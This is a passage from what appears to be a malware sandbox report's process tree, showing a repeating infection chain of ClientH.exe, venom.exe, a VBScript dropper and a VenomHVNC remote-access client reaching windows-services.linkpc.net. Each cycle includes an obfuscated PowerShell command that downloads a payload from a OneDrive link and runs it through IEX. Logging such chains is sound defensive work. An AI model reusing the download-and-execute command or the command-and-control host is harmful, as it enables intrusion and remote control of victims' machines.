        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        32⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4404
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        33⤵
        
        PID:4684
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        33⤵
        
        PID:5988
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        32⤵
        
        PID:4412
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        32⤵
        
        PID:10724
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        33⤵
        
        PID:9996
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        31⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4360
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        32⤵
        
        PID:4824
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        32⤵
        
        PID:5736
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        31⤵
        
        PID:4384
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        31⤵
        
        PID:3092
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        32⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9324
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        30⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4188
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        31⤵
        
        PID:4668
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        31⤵
        
        PID:5588
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        30⤵
        
        PID:4212
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        30⤵
        
        PID:8296
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        31⤵
        
        PID:11504
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        29⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3816
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        30⤵
        
        PID:4180
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        30⤵
        
        PID:5936
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        29⤵
        
        PID:3824
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        29⤵
        
        PID:8112
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        30⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7696
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        28⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3744
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        29⤵
        
        PID:4164
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        29⤵
        
        PID:5900
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        28⤵
        
        PID:3752
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        28⤵
        
        PID:1944
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        29⤵
        
        PID:9204
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        27⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3656
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        28⤵
        
        PID:4676
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        28⤵
        
        PID:5308
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        27⤵
        
        PID:3692
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        27⤵
        
        PID:3164
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        28⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8096
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        26⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3588
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        27⤵
        
        PID:4536
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        27⤵
        
        PID:5656
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        26⤵
        
        PID:3596
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        26⤵
        
        PID:6800
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        27⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6892
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        25⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3508
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        26⤵
        
        PID:4660
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        26⤵
        System Location Discovery: System Language Discovery
        
        PID:5628
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        25⤵
        
        PID:3516
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        25⤵
        
        PID:7568
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        26⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:704
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        24⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3440
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        25⤵
        
        PID:4648
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        25⤵
        
        PID:5556
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        24⤵
        
        PID:3448
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        24⤵
        
        PID:6644
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        25⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6796
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        23⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3420
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        24⤵
        
        PID:4288
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        24⤵
        
        PID:5208
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        23⤵
        
        PID:3536
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        23⤵
        
        PID:8264
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        24⤵
        
        PID:8092
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        22⤵
        Modifies WinLogon for persistence
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3296
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        23⤵
        
        PID:4040
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        23⤵
        
        PID:4060
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        22⤵
        Executes dropped EXE
        
        PID:3304
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        22⤵
        
        PID:3624
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        23⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11452
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        21⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3324
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        22⤵
        
        PID:4260
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        22⤵
        
        PID:5948
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        21⤵
        Executes dropped EXE
        
        PID:3332
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        21⤵
        
        PID:8272
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        22⤵
        
        PID:11584
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        20⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2908
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        21⤵
        
        PID:3172
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        21⤵
        
        PID:2052
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        20⤵
        Executes dropped EXE
        
        PID:1784
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        20⤵
        
        PID:3616
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        21⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6988
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        19⤵
        Modifies WinLogon for persistence
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2640
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        20⤵
        
        PID:3096
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        20⤵
        
        PID:2636
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        19⤵
        Executes dropped EXE
        
        PID:1124
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        19⤵
        
        PID:692
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        20⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7580
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        18⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2184
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        19⤵
        
        PID:3480
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        19⤵
        
        PID:4980
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        18⤵
        Executes dropped EXE
        
        PID:2708
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        18⤵
        
        PID:3420
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        19⤵
        
        PID:8912
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        17⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2296
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        18⤵
        
        PID:3208
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        18⤵
        
        PID:5024
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        17⤵
        Executes dropped EXE
        
        PID:2556
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        17⤵
        
        PID:6684
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        18⤵
        
        PID:2904
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        16⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2548
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        17⤵
        
        PID:3200
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
